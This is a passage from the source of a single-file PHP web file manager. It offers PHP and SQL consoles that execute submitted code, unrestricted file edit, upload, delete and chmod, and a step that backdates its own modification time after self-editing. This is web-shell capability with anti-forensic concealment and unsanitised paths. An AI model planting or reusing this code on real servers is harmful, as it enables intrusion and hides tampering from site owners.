Qq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' :
$_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo
'</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
<form action="" method="POST"
name="console">
<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
<input type="reset"
value="<?=__('Reset')?>">
<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
$select .= '<option value="-1">' .
__('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$editlink?>">
<textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save"
value="<?=__('Submit')?>">
<input type="submit" name="cancel"
value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
$link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
}
}
}
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').'
'.$_REQUEST['delete'];
}
}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').'
'.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').'
('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>
';
}
} else {
$msg .= __('Nothing founded');
}
}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').'
'.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file =
str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="dirname"
size="15">
<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="filename"
size="15">
<input type="submit" name="mkfile"
value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post"
action="<?=$url_inc?>"
style="display:inline">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
<input type="submit" name="search"
value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
<input type="submit" name="test"
value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action=""
method="post">
<input name="quit" type="hidden"
value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit"
value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr>
<th style="white-space:nowrap">
<?=__('Filename')?> </th>
<th style="white-space:nowrap">
<?=__('Size')?> </th>
<th style="white-space:nowrap">
<?=__('Date')?> </th>
<th style="white-space:nowrap">
<?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
$link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder"> </span>
'.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').' zip',__('Archiving').'
'. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').'
'.$file);
$style = 'row2';
if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img"> </span>
'.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file"> </span>
'.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink =
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
$arlink =
in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').'
'. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"';
}
$deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
| <a
href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) &&
is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return
$this->openWrite();
